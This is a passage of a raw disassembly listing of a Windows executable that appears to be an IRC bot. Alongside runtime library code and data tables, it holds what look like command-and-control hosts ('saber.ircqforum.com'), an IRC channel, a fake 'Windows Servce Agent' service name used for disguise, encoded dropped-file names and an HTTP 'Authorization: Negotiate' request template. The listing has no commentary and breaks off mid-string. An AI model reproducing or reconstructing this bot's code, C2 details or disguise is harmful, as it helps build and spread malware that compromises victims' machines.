sub_426C13+61j ; sub_426C13+8Ej ... xor eax, eax loc_426DC6: ; CODE XREF: sub_426C13+86j ; sub_426C13+1AFj lea esp, [ebp-38h] mov ecx, [ebp+var_10] mov large fs:0, ecx pop edi pop esi pop ebx leave retn sub_426C13 endp ; =============== S U B R O U T I N E ======================================= sub_426DD8 proc near ; DATA XREF: ___:00427F7Co ; FUNCTION CHUNK AT 0040D4A8 SIZE 00000008 BYTES lea ecx, [ebp-38h] jmp loc_40D4A8 sub_426DD8 endp ; --------------------------------------------------------------------------- mov eax, [ebp-20h] and eax, 1 test eax, eax jz locret_426DF6 mov ecx, [ebp+8] jmp loc_40D4A8 ; --------------------------------------------------------------------------- locret_426DF6: ; CODE XREF: ___:00426DE8j retn ; --------------------------------------------------------------------------- loc_426DF7: ; DATA XREF: sub_40D07Co mov eax, offset dword_427F50 jmp loc_41C91F ; --------------------------------------------------------------------------- align 4 lea ecx, [ebp+14h] jmp loc_40D4A8 ; --------------------------------------------------------------------------- loc_426E0C: ; DATA XREF: ___:00427FACo lea ecx, [ebp-1Ch] jmp loc_40D4A8 ; --------------------------------------------------------------------------- loc_426E14: ; DATA XREF: sub_40D21Eo mov eax, offset dword_427F80 jmp loc_41C91F ; --------------------------------------------------------------------------- align 10h loc_426E20: ; DATA XREF: sub_40D78Bo mov eax, offset dword_427FB0 jmp loc_41C91F ; --------------------------------------------------------------------------- mov ecx, [ebp-14h] jmp sub_4268B6 ; --------------------------------------------------------------------------- loc_426E32: ; DATA XREF: sub_4264FEo mov eax, offset dword_428010 jmp loc_41C91F ; --------------------------------------------------------------------------- lea ecx, [ebp-20h] jmp loc_40D4A8 ; --------------------------------------------------------------------------- loc_426E44: ; DATA XREF: sub_426573o mov eax, offset dword_4280A8 jmp loc_41C91F ; --------------------------------------------------------------------------- mov ecx, [ebp-14h] jmp sub_4268B6 ; --------------------------------------------------------------------------- loc_426E56: ; DATA XREF: sub_4265D0o mov eax, offset dword_4280CC jmp loc_41C91F ; --------------------------------------------------------------------------- mov ecx, [ebp-10h] jmp sub_4268B6 ; --------------------------------------------------------------------------- loc_426E68: ; DATA XREF: sub_426618o mov eax, offset dword_4280F0 jmp loc_41C91F ; --------------------------------------------------------------------------- lea ecx, [ebp-20h] jmp loc_40D4A8 ; --------------------------------------------------------------------------- loc_426E7A: ; DATA XREF: sub_42669Ao mov eax, offset dword_428150 jmp loc_41C91F ; --------------------------------------------------------------------------- dd 5Fh dup(0) dd 25D0000h, 25E0000h, 25F0000h, 25F068Dh, 2600000h, 26009FAh dd 2600AAEh, 2600EBDh, 2610000h, 26107A2h, 2620000h, 2620574h dd 26207BBh, 2630000h, 2630238h dword_42703C dd 263025Fh ; DATA XREF: ___:004231D9r db 0CCh db 2, 63h, 2 dd 26305B4h, 26305DFh, 26306ADh, 2640000h, 2650000h, 2660000h dd 2660435h, 266099Eh, 77E75CB5h dword_427068 dd 26609B7h ; DATA XREF: sub_40111D+B8r ; ___:004014FCr ... db 90h db 0Ch, 66h, 2 dd 2670000h, 2670A87h dword_427078 dd 2670F10h ; DATA XREF: sub_40111D+29r ; sub_401ACD+318Br ... dword_42707C dd 2680000h ; DATA XREF: ___:004015E2r ; sub_410CD5+32r dd 268018Eh dword_427084 dd 2680243h ; DATA XREF: sub_4196BC+B9r dd 268077Fh dword_42708C dd 26807C8h ; DATA XREF: sub_410FF8:loc_411089r dword_427090 dd 26807F1h ; DATA XREF: ___:loc_4013DCr dd 2680B55h, 2680C1Eh dword_42709C dd 2680CABh ; DATA XREF: sub_409B12+2r dd 2680E00h, 2690000h dword_4270A8 dd 26905FEh ; DATA XREF: ___:0040124Dr ; sub_41A4D1+8Cr dword_4270AC dd 269064Ah ; DATA XREF: sub_410CD5:loc_410DC1r dd 26A0000h, 26A0C32h dword_4270B8 dd 26A0D09h ; DATA XREF: sub_409B12:loc_40A020r dword_4270BC dd 26B0000h ; DATA XREF: sub_409B12+11r ; sub_416F1A+60r ... dd 26C0000h, 26D0000h, 26E0000h, 26E0A63h, 77F7E300h, 77F7E21Fh dd 26F0000h, 26F01A4h, 2700000h, 2700912h dword_4270E8 dd 2710000h ; DATA XREF: sub_410FF8+Br dword_4270EC dd 27109BDh ; DATA XREF: sub_418293+36r dd 2710BFCh, 2720000h dword_4270F8 dd 27205B5h ; DATA XREF: sub_410F1F+3Ar ; sub_419C64+79r dword_4270FC dd 2730000h ; DATA XREF: sub_410E26+23r ; sub_419C64+3Br dd 2740000h, 2750000h, 2750CC5h, 2760000h, 2760897h, 2770000h dd 2780000h, 2790000h, 2790AC8h, 2790DBEh, 2790E97h, 27A0000h dd 27A0894h, 27B0000h, 27B044Fh dword_42713C dd 27B06C4h ; DATA XREF: sub_416F1A+BCr dd 27C0000h dword_427144 dd 27D0000h ; DATA XREF: sub_4170EC+21r ; sub_417275+4Ar dword_427148 dd 27D0AFBh ; DATA XREF: sub_4170EC+10r ; sub_417275+40r ... dd 27D0B58h dword_427150 dd 27D0D63h ; DATA XREF: sub_417275+56r dd 27E0000h, 27F0000h, 2800000h, 28006B7h, 2800C91h, 2810000h dd 2810175h, 2820000h, 2820769h, 2830000h dword_42717C dd 2831279h ; DATA XREF: sub_418B58+13r ; ___:0042324Er ... dword_427180 dd 2840000h ; DATA XREF: sub_418C2A+Fr ; sub_41D834+54r ... dd 2850000h, 2850432h, 285095Bh, 2850C15h, 2860000h, 2870000h dd 2880000h, 2890000h, 28A0000h, 28B0000h, 28B1A4Ah, 28B1A68h dd 28C0000h, 28C0CBCh, 28D0000h dword_4271C0 dd 28D048Ch ; DATA XREF: sub_41DEA2+240r dword_4271C4 dd 28D05EEh ; DATA XREF: sub_41E976:loc_41E9A7r dd 28D078Eh, 28E0000h, 28E068Bh, 0 ; --------------------------------------------------------------------------- retf ; --------------------------------------------------------------------------- db 0ACh, 0B2h, 71h align 10h dd 71AB4122h dword_4271E4 dd 71AB1746h ; DATA XREF: sub_412660+1DEr dd 71AB401Ch, 71AB1836h, 71AB41DAh, 71AB3F8Dh, 71AB155Ah dd 71AB3ECEh, 71AB5DE2h, 71AB868Dh, 71AB5A01h, 71AB12F8h dd 71AB1746h, 71AB3E5Dh dword_427218 dd 71AB5690h ; DATA XREF: sub_40DFE2+6Ar dd 71AB1A6Dh, 71AB3C22h, 71AB1AF4h, 71AB1890h, 71AB1B7Bh dd 71AB157Eh, 0 dword_427238 dd 0 ; DATA XREF: sub_401070+26r dd 77073096h, 0EE0E612Ch, 990951BAh, 76DC419h, 706AF48Fh dd 0E963A535h, 9E6495A3h, 0EDB8832h, 79DCB8A4h, 0E0D5E91Eh dd 97D2D988h, 9B64C2Bh, 7EB17CBDh, 0E7B82D07h, 90BF1D91h dd 1DB71064h, 6AB020F2h, 0F3B97148h, 84BE41DEh, 1ADAD47Dh dd 6DDDE4EBh, 0F4D4B551h, 83D385C7h, 136C9856h, 646BA8C0h dd 0FD62F97Ah, 8A65C9ECh, 14015C4Fh, 63066CD9h, 0FA0F3D63h dd 8D080DF5h, 3B6E20C8h, 4C69105Eh, 0D56041E4h, 0A2677172h dd 3C03E4D1h, 4B04D447h, 0D20D85FDh, 0A50AB56Bh, 35B5A8FAh dd 42B2986Ch, 0DBBBC9D6h, 0ACBCF940h, 32D86CE3h, 45DF5C75h dd 0DCD60DCFh, 0ABD13D59h, 26D930ACh, 51DE003Ah, 0C8D75180h dd 0BFD06116h, 21B4F4B5h, 56B3C423h, 0CFBA9599h, 0B8BDA50Fh dd 2802B89Eh, 5F058808h, 0C60CD9B2h, 0B10BE924h, 2F6F7C87h dd 58684C11h, 0C1611DABh, 0B6662D3Dh, 76DC4190h, 1DB7106h dd 98D220BCh, 0EFD5102Ah, 71B18589h, 6B6B51Fh, 9FBFE4A5h dd 0E8B8D433h, 7807C9A2h, 0F00F934h, 9609A88Eh, 0E10E9818h dd 7F6A0DBBh, 86D3D2Dh, 91646C97h, 0E6635C01h, 6B6B51F4h dd 1C6C6162h, 856530D8h, 0F262004Eh, 6C0695EDh, 1B01A57Bh dd 8208F4C1h, 0F50FC457h, 65B0D9C6h, 12B7E950h, 8BBEB8EAh dd 0FCB9887Ch, 62DD1DDFh, 15DA2D49h, 8CD37CF3h, 0FBD44C65h dd 4DB26158h, 3AB551CEh, 0A3BC0074h, 0D4BB30E2h, 4ADFA541h dd 3DD895D7h, 0A4D1C46Dh, 0D3D6F4FBh, 4369E96Ah, 346ED9FCh dd 0AD678846h, 0DA60B8D0h, 44042D73h, 33031DE5h, 0AA0A4C5Fh dd 0DD0D7CC9h, 5005713Ch, 270241AAh, 0BE0B1010h, 0C90C2086h dd 5768B525h, 206F85B3h, 0B966D409h, 0CE61E49Fh, 5EDEF90Eh dd 29D9C998h, 0B0D09822h, 0C7D7A8B4h, 59B33D17h, 2EB40D81h dd 0B7BD5C3Bh, 0C0BA6CADh, 0EDB88320h, 9ABFB3B6h, 3B6E20Ch dd 74B1D29Ah, 0EAD54739h, 9DD277AFh, 4DB2615h, 73DC1683h dd 0E3630B12h, 94643B84h, 0D6D6A3Eh, 7A6A5AA8h, 0E40ECF0Bh dd 9309FF9Dh, 0A00AE27h, 7D079EB1h, 0F00F9344h, 8708A3D2h dd 1E01F268h, 6906C2FEh, 0F762575Dh, 806567CBh, 196C3671h dd 6E6B06E7h, 0FED41B76h, 89D32BE0h, 10DA7A5Ah, 67DD4ACCh dd 0F9B9DF6Fh, 8EBEEFF9h, 17B7BE43h, 60B08ED5h, 0D6D6A3E8h dd 0A1D1937Eh, 38D8C2C4h, 4FDFF252h, 0D1BB67F1h, 0A6BC5767h dd 3FB506DDh, 48B2364Bh, 0D80D2BDAh, 0AF0A1B4Ch, 36034AF6h dd 41047A60h, 0DF60EFC3h, 0A867DF55h, 316E8EEFh, 4669BE79h dd 0CB61B38Ch, 0BC66831Ah, 256FD2A0h, 5268E236h, 0CC0C7795h dd 0BB0B4703h, 220216B9h, 5505262Fh, 0C5BA3BBEh, 0B2BD0B28h dd 2BB45A92h, 5CB36A04h, 0C2D7FFA7h, 0B5D0CF31h, 2CD99E8Bh dd 5BDEAE1Dh, 9B64C2B0h, 0EC63F226h, 756AA39Ch, 26D930Ah dd 9C0906A9h, 0EB0E363Fh, 72076785h, 5005713h, 95BF4A82h dd 0E2B87A14h, 7BB12BAEh, 0CB61B38h, 92D28E9Bh, 0E5D5BE0Dh dd 7CDCEFB7h, 0BDBDF21h, 86D3D2D4h, 0F1D4E242h, 68DDB3F8h dd 1FDA836Eh, 81BE16CDh, 0F6B9265Bh, 6FB077E1h, 18B74777h dd 88085AE6h, 0FF0F6A70h, 66063BCAh, 11010B5Ch, 8F659EFFh dd 0F862AE69h, 616BFFD3h, 166CCF45h, 0A00AE278h, 0D70DD2EEh dd 4E048354h, 3903B3C2h, 0A7672661h, 0D06016F7h, 4969474Dh dd 3E6E77DBh, 0AED16A4Ah, 0D9D65ADCh, 40DF0B66h, 37D83BF0h dd 0A9BCAE53h, 0DEBB9EC5h, 47B2CF7Fh, 30B5FFE9h, 0BDBDF21Ch dd 0CABAC28Ah, 53B39330h, 24B4A3A6h, 0BAD03605h, 0CDD70693h dd 54DE5729h, 23D967BFh, 0B3667A2Eh, 0C4614AB8h, 5D681B02h dd 2A6F2B94h, 0B40BBE37h, 0C30C8EA1h, 5A05DF1Bh, 2D02EF8Dh aCyber db 'CYBER',0 ; DATA XREF: sub_401ACD+347Co ; sub_401ACD+356Co ... align 10h aCyber_0 db 'CYBER',0 ; DATA XREF: sub_401ACD+389Co ; sub_401ACD+38D2o ... align 4 aGetHttp1_0Host db 'GET / HTTP/1.0',0Dh,0Ah ; DATA XREF: sub_40D21E+62o db 'Host: %s',0Dh,0Ah db 'Authorization: Negotiate %s',0Dh,0Ah db 0Dh,0Ah,0 align 8 dbl_427688 dq 1.388888888888889e-2 ; DATA XREF: sub_40D030+2Fr dbl_427690 dq 1.666666666666667e-1 ; DATA XREF: sub_40D030+15r dword_427698 dd 0FFFFFFFFh ; DATA XREF: sub_40D07C+16Fr ; sub_40D4B0r ... align 10h dbl_4276A0 dq 1.333333333333333 ; DATA XREF: sub_40D07C+79r dword_4276A8 dd 0 ; DATA XREF: sub_40D21E+4Do ; sub_40D560+5Bo ... flt_4276AC dd 5.0e-1 ; DATA XREF: ___:0040DD33r dbl_4276B0 dq 9.765625e-4 ; DATA XREF: ___:004166B6r ; ___:004166D1r ... dbl_4276B8 dq -1.52587890625e-4 ; DATA XREF: sub_417ADD+3E5r dbl_4276C0 dq 3.0517578125e-4 ; DATA XREF: sub_417ADD+3C5r dbl_4276C8 dq -3.0517578125e-4 ; DATA XREF: sub_417ADD+342r ; sub_417ADD+3A7r dbl_4276D0 dq 1.52587890625e-4 ; DATA XREF: sub_417ADD+271r dbl_4276D8 dq -1.739501953125e-3 ; DATA XREF: sub_417ADD+24Br ; sub_417ADD+2D5r ... dbl_4276E0 dq 3.11279296875e-3 ; DATA XREF: sub_417ADD+E1r dbl_4276E8 dq 3.0517578125e-5 ; DATA XREF: sub_417ADD+AEr ; sub_417ADD+138r ... dbl_4276F0 dq 6.103515625e-5 ; DATA XREF: sub_417ADD+93r ; sub_417ADD+308r dbl_4276F8 dq 2.288818359375e-3 ; DATA XREF: sub_417ADD+21r dbl_427700 dq -3.0517578125e-5 ; DATA XREF: sub_418684+2Br flt_427708 dd 9.765625e-4 ; DATA XREF: sub_41A4D1+1B0r flt_42770C dd 8.0 ; DATA XREF: sub_41A4D1+1AAr flt_427710 dd 0.0 ; DATA XREF: sub_41A4D1+171r flt_427714 dd 1.0e-3 ; DATA XREF: sub_41A4D1+168r dbl_427718 dq 1.0 ; DATA XREF: sub_41C679+6Cr ; sub_41C7BF+6Cr ... dd 0FFFFFFFFh, 41DA0Ah, 41DA1Eh a__global_heap_ db '__GLOBAL_HEAP_SELECTED',0 ; DATA XREF: ___:0041DD18o align 4 a__msvcrt_heap_ db '__MSVCRT_HEAP_SELECT',0 ; DATA XREF: ___:0041DCD9o align 4 byte_42775C db 6 ; DATA XREF: sub_41F69F:loc_41F6F6r db 2 dup(0), 6 dd 100h, 6030010h, 10020600h, 45454504h, 5050505h, 303505h dd 50h, 38282000h, 8075850h, 30303700h, 75057h, 8202000h dd 0 dd 60686008h, 606060h, 78707000h, 8787878h, 807h, 8080007h dd 8000008h, 7000800h, 8 aNull: ; DATA XREF: ___:off_43C544o unicode 0, <(null)>,0 align 4 aNull_0 db '(null)',0 ; DATA XREF: ___:off_43C540o align 10h a_yn db '_yn',0 a_y1 db '_y1',0 a_y0 db '_y0',0 aFrexp db 'frexp',0 align 4 aFmod db 'fmod',0 align 4 a_hypot db '_hypot',0 align 4 a_cabs db '_cabs',0 align 4 aLdexp db 'ldexp',0 align 4 aModf db 'modf',0 align 4 aFabs db 'fabs',0 align 4 aFloor db 'floor',0 align 4 aCeil db 'ceil',0 align 4 aTan db 'tan',0 aCos db 'cos',0 aSin db 'sin',0 aSqrt db 'sqrt',0 align 4 aAtan2 db 'atan2',0 align 10h aAtan db 'atan',0 align 4 aAcos db 'acos',0 align 10h aAsin db 'asin',0 align 4 aTanh db 'tanh',0 align 10h aCosh db 'cosh',0 align 4 aSinh db 'sinh',0 align 10h aLog10 db 'log10',0 align 4 aPow db 'pow',0 aExp db 'exp',0 ; DATA XREF: ___:off_43C7BCo dbl_427880 dq 0.0 ; DATA XREF: sub_42135F+8Cr ; sub_42135F+ACr ... dbl_427888 dq 4.195835e6 ; DATA XREF: sub_421874+Fr dbl_427890 dq 3.145727e6 ; DATA XREF: sub_421874+6r aIsprocessorfea db 'IsProcessorFeaturePresent',0 ; DATA XREF: sub_4218B2+Fo align 4 aKernel32 db 'KERNEL32',0 ; DATA XREF: sub_4218B2o align 10h aE000 db 'e+000',0 ; DATA XREF: sub_4219D9+93o align 4 dword_4278C8 dd 0FFFFFFFFh, 4220C4h, 4220CEh, 0 ; DATA XREF: sub_42205D+5o dword_4278D8 dd 0FFFFFFFFh, 0 ; DATA XREF: sub_42218C+5o dd offset loc_42224A align 8 dd offset sub_422228 dd offset sub_422232 dword_4278F0 dd 0FFFFFFFFh, 42247Ah, 42247Eh, 0 ; DATA XREF: sub_4222C2+5o dword_427900 dd 0FFFFFFFFh, 4224DCh, 4224E5h, 0 ; DATA XREF: sub_422486+5o dword_427910 dd 0FFFFFFFFh, 0 ; DATA XREF: sub_42255C+5o dd offset loc_4225AD align 10h dd offset loc_422599 dd offset loc_42259D dword_427928 dd 0FFFFFFFFh, 0 ; DATA XREF: sub_4225B2+5o dd offset loc_422603 align 8 dd offset loc_4225EF dd offset loc_4225F3 dword_427940 dd 2 dup(0) ; DATA XREF: sub_422ACA+36o ; sub_423CEC+39o ... dword_427948 dd 0FFFFFFFFh, 422BDAh, 422BDEh, 0FFFFFFFFh, 422C8Eh, 422C92h ; DATA XREF: sub_422ACA+5o dd 746E7572h, 20656D69h, 6F727265h, 2072h, 534F4C54h, 72652053h dd 0D726F72h, 0Ah, 474E4953h, 72726520h, 0A0D726Fh, 0 dd 414D4F44h, 65204E49h, 726F7272h, 0A0Dh, 32303652h, 2D0A0D38h dd 616E7520h, 20656C62h, 69206F74h, 6974696Eh, 7A696C61h dd 65682065h, 0A0D7061h, 0 aR6027NotEnough db 'R6027',0Dh,0Ah db '- not enough space for lowio initialization',0Dh,0Ah,0 align 10h aR6026NotEnough db 'R6026',0Dh,0Ah db '- not enough space for stdio initialization',0Dh,0Ah,0 align 4 aR6025PureVirtu db 'R6025',0Dh,0Ah db '- pure virtual function call',0Dh,0Ah,0 align 10h aR6024NotEnough db 'R6024',0Dh,0Ah db '- not enough space for _onexit/atexit table',0Dh,0Ah,0 align 4 aR6019UnableToO db 'R6019',0Dh,0Ah db '- unable to open console device',0Dh,0Ah,0 align 4 aR6018Unexpecte db 'R6018',0Dh,0Ah db '- unexpected heap error',0Dh,0Ah,0 align 4 aR6017Unexpecte db 'R6017',0Dh,0Ah db '- unexpected multithread lock error',0Dh,0Ah,0 align 4 aR6016NotEnough db 'R6016',0Dh,0Ah db '- not enough space for thread data',0Dh,0Ah,0 aAbnormalProgra db 0Dh,0Ah db 'abnormal program termination',0Dh,0Ah,0 align 4 aR6009NotEnough db 'R6009',0Dh,0Ah db '- not enough space for environment',0Dh,0Ah,0 aR6008NotEnough db 'R6008',0Dh,0Ah db '- not enough space for arguments',0Dh,0Ah,0 align 10h aR6002FloatingP db 'R6002',0Dh,0Ah ; DATA XREF: ___:off_43C98Co db '- floating point not loaded',0Dh,0Ah,0 align 4 aMicrosoftVisua db 'Microsoft Visual C++ Runtime Library',0 ; DATA XREF: sub_4235C9+119o align 10h asc_427C10 db 0Ah ; DATA XREF: sub_4235C9+F1o db 0Ah,0 align 4 aRuntimeErrorPr db 'Runtime Error!',0Ah ; DATA XREF: sub_4235C9+D3o db 0Ah db 'Program: ',0 align 10h a___ db '...',0 ; DATA XREF: sub_4235C9+BFo aProgramNameUnk db '<program name unknown>',0 ; DATA XREF: sub_4235C9+7Do align 10h dword_427C50 dd 0FFFFFFFFh, 423DE5h, 423DE9h ; DATA XREF: sub_423CEC+5o aSunmontuewedth db 'SunMonTueWedThuFriSat',0 align 4 aJanfebmaraprma db 'JanFebMarAprMayJunJulAugSepOctNovDec',0 align 4 aTz db 'TZ',0 ; DATA XREF: sub_4247EC+Ao align 10h aGetlastactivep db 'GetLastActivePopup',0 ; DATA XREF: sub_424D78+3Do align 4 aGetactivewindo db 'GetActiveWindow',0 ; DATA XREF: sub_424D78+35o aMessageboxa db 'MessageBoxA',0 ; DATA XREF: sub_424D78+24o a1Qnan db '1#QNAN',0 ; DATA XREF: sub_4256C2:loc_4257B7o align 4 a1Inf db '1#INF',0 ; DATA XREF: sub_4256C2+D8o align 10h a1Ind db '1#IND',0 ; DATA XREF: sub_4256C2+C7o align 4 a1Snan db '1#SNAN',0 ; DATA XREF: sub_4256C2+ADo align 10h dword_427CF0 dd 0FFFFFFFFh, 4260BAh, 4260BEh, 0FFFFFFFFh, 426129h, 42612Dh ; DATA XREF: sub_425F03+5o dd 427E2Ch off_427D0C dd offset loc_4264E2 ; DATA XREF: sub_4264BA+8o ; sub_4264FE+2Co ... dd offset sub_4264D5 dd offset sub_4266F6 dd offset dword_427E78 off_427D1C dd offset sub_42654C ; DATA XREF: sub_4264FE+3Ao ; sub_426568o ... dd offset sub_4264D5 dd offset loc_426732 dword_427D28 dd 0 ; DATA XREF: sub_4264FE+16o ; sub_4265D0+16o aInvalidStringP db 'invalid string position',0 ; DATA XREF: sub_426573+11o dd offset dword_427EC4 off_427D48 dd offset sub_42665B ; DATA XREF: sub_426677o ; sub_42669A+37o ... dd offset sub_4264D5 dd offset loc_426714 aStringTooLong db 'string too long',0 ; DATA XREF: sub_42669A+11o dd offset dword_427F08 off_427D68 dd offset loc_4267F7 ; DATA XREF: sub_4267E2o ; ___:off_43D0B4o ... dd offset dword_427F38 off_427D70 dd offset loc_426813 ; DATA XREF: sub_42682F+8o ; sub_42686C+8o ... dd offset sub_4268CC aUnknownExcepti db 'Unknown exception',0 ; DATA XREF: sub_4268CC+7o align 10h dword_427D90 dd 0E06D7363h, 1, 2 dup(0) ; DATA XREF: sub_4268D9+Eo dd 3, 19930520h, 2 dup(0) dword_427DB0 dd 0FFFFFFFFh, 426A8Ah, 426A8Eh, 0FFFFFFFFh, 426B07h, 426B0Bh ; DATA XREF: sub_426988+5o dword_427DC8 dd 0FFFFFFFFh, 426CFFh, 426D03h, 0FFFFFFFFh, 426D5Ch, 426D60h ; DATA XREF: sub_426C13+5o dd 43D0B4h, 2 dup(0) dd 0FFFFFFFFh, 2 dup(0) off_427DF8 dd offset off_43D0CC ; DATA XREF: ___:00427E10o ; ___:00427E5Co ... dd 1, 0 dd 0FFFFFFFFh, 2 dup(0) dd offset off_427DF8 dd offset dword_427DC8+18h dword_427E18 dd 3 dup(0) ; DATA XREF: ___:00427E3Co dd 2, 427E10h, 3 dup(0) dd offset off_43D0CC dd offset dword_427E18+4 off_427E40 dd offset off_43D0EC ; DATA XREF: ___:00427E58o dd 2, 0 dd 0FFFFFFFFh, 2 dup(0) dd offset off_427E40 dd offset off_427DF8 dd offset dword_427DC8+18h dd 0 db 0 ; DATA XREF: ___:00427E88o db 0 db 0 db 0 db 0 db 0 db 0 db 0 dd 3, 427E58h dword_427E78 dd 3 dup(0) ; DATA XREF: ___:00427D18o dd offset off_43D0EC dd offset unk_427E68 off_427E8C dd offset off_43D10C ; DATA XREF: ___:00427EA4o dd 2, 0 dd 0FFFFFFFFh, 2 dup(0) dd offset off_427E8C dd offset off_427DF8 dd offset dword_427DC8+18h dword_427EB0 dd 3 dup(0) ; DATA XREF: ___:00427ED4o dd 3, 427EA4h dword_427EC4 dd 3 dup(0) ; DATA XREF: ___:00427D44o dd offset off_43D10C dd offset dword_427EB0+4 off_427ED8 dd offset off_43D130 ; DATA XREF: ___:00427EF0o dd 2 dup(0) dd 0FFFFFFFFh, 2 dup(0) dd offset off_427ED8 dd 0 db 0 ; DATA XREF: ___:00427F18o db 0 db 0 db 0 db 0 db 0 db 0 db 0 dd 1, 427EF0h dword_427F08 dd 3 dup(0) ; DATA XREF: ___:00427D64o dd offset off_43D130 dd offset unk_427EF8 dd offset dword_427DC8+18h dword_427F20 dd 4 dup(0) ; DATA XREF: ___:00427F48o dd 1, 427F1Ch dword_427F38 dd 3 dup(0) ; DATA XREF: ___:00427D6Co dd offset off_43D0B4 dd offset dword_427F20+8 align 10h dword_427F50 dd 19930520h, 2, 427F70h, 5 dup(0) ; DATA XREF: ___:loc_426DF7o dd 0FFFFFFFFh, 426DE0h, 0 dd offset sub_426DD8 dword_427F80 dd 19930520h, 2, 427FA0h, 5 dup(0) ; DATA XREF: ___:loc_426E14o dd 0FFFFFFFFh, 426E04h, 0 dd offset loc_426E0C dword_427FB0 dd 19930520h, 2, 427FD0h, 1, 427FE0h, 3 dup(0) ; DATA XREF: ___:loc_426E20o dd 0FFFFFFFFh, 0 dd 0FFFFFFFFh, 3 dup(0) dd 2 dup(1), 427FF8h, 4 dup(0) ; --------------------------------------------------------------------------- retf 40D7h ; --------------------------------------------------------------------------- align 4 dd 0FFFFFFFFh, 426E2Ah dword_428010 dd 19930520h, 1, 428008h, 5 dup(0) ; DATA XREF: ___:loc_426E32o dd offset off_43D0B4 align 8 dd 0FFFFFFFFh, 0 dd 0Ch, 42686Ch, 0 dd offset off_43D0CC dd 0 dd 0FFFFFFFFh, 0 dd 1Ch, 426618h, 0 dd offset off_43D0EC align 10h dd 0FFFFFFFFh, 0 dword_428078 dd 1Ch, 426682h, 3, 428064h, 428048h, 42802Ch ; DATA XREF: ___:0042809Co dword_428090 dd 0 ; DATA XREF: sub_426573+2Eo ; sub_4266F6+4Bo dd offset sub_426568 dd 0 dd offset dword_428078+8 dd 0FFFFFFFFh, 426E3Ch dword_4280A8 dd 19930520h, 1, 4280A0h, 4 dup(0) ; DATA XREF: ___:loc_426E44o dd 0FFFFFFFFh, 426E4Eh dword_4280CC dd 19930520h, 1, 4280C4h, 4 dup(0) ; DATA XREF: ___:loc_426E56o dd 0FFFFFFFFh, 426E60h dword_4280F0 dd 19930520h, 1, 4280E8h, 5 dup(0) ; DATA XREF: ___:loc_426E68o dd offset off_43D10C align 8 dd 0FFFFFFFFh, 0 dword_428120 dd 1Ch, 4266DEh, 3, 42810Ch, 428048h, 42802Ch ; DATA XREF: ___:00428144o dword_428138 dd 0 ; DATA XREF: sub_42669A+2Eo ; sub_4266F6+2Do dd offset sub_426677 dd 0 dd offset dword_428120+8 dd 0FFFFFFFFh, 426E72h dword_428150 dd 19930520h, 1, 428148h, 4 dup(0) ; DATA XREF: ___:loc_426E7Ao dword_42816C dd 2, 428048h, 42802Ch ; DATA XREF: ___:00428184o dword_428178 dd 0 ; DATA XREF: sub_4266F6+Fo dd offset sub_4264BA dd 0 dd offset dword_42816C dd 4 dup(691A5189h) db 89h, 51h ; --------------------------------------------------------------------------- loc_42819A: ; CODE XREF: ___:0042819Dj sbb ch, [ecx+42h] jbe short loc_42819A add al, [edx+76h] sti add al, [edx+76h] sti add al, [edx+76h] sti add al, [edx+76h] sti add bh, [eax-4781ACF9h] pop es push ebx ; --------------------------------------------------------------------------- db 7Eh dd 3 dup(7E5307B8h), 7Ah dup(0) dd 7E5307B8h, 0 dd 691A5189h, 15h dup(0) dd 2FB7642h, 2FCh dup(0) dword_429000 dd 0 ; DATA XREF: ___:0041B7A3o dd offset loc_401205 dd offset sub_40D878 dd offset sub_40D89A dd offset dword_40E504+1CFh dword_429014 dd 0 ; DATA XREF: ___:0041B79Eo dword_429018 dd 0 ; DATA XREF: ___:0041B794o dd offset sub_41D052 dd offset sub_42026D dd offset sub_423936 dd offset word_424752 dword_42902C dd 0 ; DATA XREF: ___:loc_41B78Fo dword_429030 dd 0 ; DATA XREF: sub_41B7D3+65o dd offset sub_4239DB dword_429038 dd 0 ; DATA XREF: sub_41B7D3:loc_41B833o dword_42903C dd 0 ; DATA XREF: sub_41B7D3+76o dd offset byte_424763 dword_429044 dd 3 dup(0) ; DATA XREF: sub_41B7D3:loc_41B844o dword_429050 dd 80000002h, 429174h, 80000002h, 4291A4h, 80000001h, 429174h ; DATA XREF: sub_401000+7o dword_429068 dd 6272h ; DATA XREF: sub_401000+63o ; sub_4010AB+Bo ... dword_42906C dd 1B58h ; DATA XREF: ___:004016C5r ; ___:0040175Ar dword_429070 dd 0C8Bh ; DATA XREF: ___:004017A6r dword_429074 dd 7E4h ; DATA XREF: sub_401ACD:loc_40461Br dword_429078 dd 45h ; DATA XREF: sub_401ACD+2088r ; sub_40BACD+3Br dword_42907C dd 7D1h ; DATA XREF: sub_401ACD:loc_403C43r ; sub_40BACD:loc_40BEBEr dword_429080 dd 201h ; DATA XREF: sub_401ACD:loc_403DCFr word_429084 dw 7C7h ; DATA XREF: sub_401ACD:loc_40473Er align 4 dword_429088 dd 1 ; DATA XREF: sub_401ACD+65Fr dword_42908C dd 1 ; DATA XREF: ___:0040135Er dword_429090 dd 1 ; DATA XREF: ___:loc_401562r ; sub_418359+Cr byte_429094 db 2Eh ; DATA XREF: sub_401ACD+A92r ; sub_401ACD+B4Br ... align 4 dword_429098 dd 0Ah ; DATA XREF: sub_40ACB5+3Ar ; sub_40ACB5+60r ... dword_42909C dd 4 ; DATA XREF: sub_4017ED+78r ; sub_401ACD+279r ... dword_4290A0 dd 1 ; DATA XREF: sub_4017ED+72r ; sub_401ACD+273r aDark db 'Dark',0 ; DATA XREF: ___:0040127Eo ; sub_401ACD:loc_4044A0o ... align 4 aAbosel7V4 db 'abosel7 v4',0 ; DATA XREF: sub_401ACD:loc_404945o align 4 aCool db 'cool',0 ; DATA XREF: sub_401ACD+7DDBo ; sub_401ACD+7EAAo align 10h aSaber_ircqforu db 'saber.ircqforum.com',0 ; DATA XREF: ___:004016B1o ; ___:0040174Bo aFaak db '#FAAK#',0 ; DATA XREF: ___:004016D1o ; ___:00401761o ... align 4 aSaad_ db 'saad.',0 ; DATA XREF: ___:004016E8o ; ___:00401773o align 4 byte_4290E4 db 73h ; DATA XREF: ___:loc_401789r ; ___:00401797o aAber_ircqforum db 'aber.ircqforum.com',0 aFaak_0 db '#FAAK#',0 ; DATA XREF: ___:004017ADo align 10h aSaad__0 db 'saad.',0 ; DATA XREF: ___:004017BFo align 4 byte_429108 db 6Dh ; DATA XREF: ___:00401364o ; ___:00401388w ... db 73h, 6Eh, 6Dh dd 7261676Eh, 6578652Eh, 0 dword_429118 dd 6E6E6977h, 61622E74h, 74h ; DATA XREF: ___:00411C50o aWindowsServceA db 'Windows Servce Agent',0 ; DATA XREF: sub_401000+Eo align 4 asc_42913C: ; DATA XREF: ___:0040AD34o unicode 0, <->,0 aWinsys_dat db 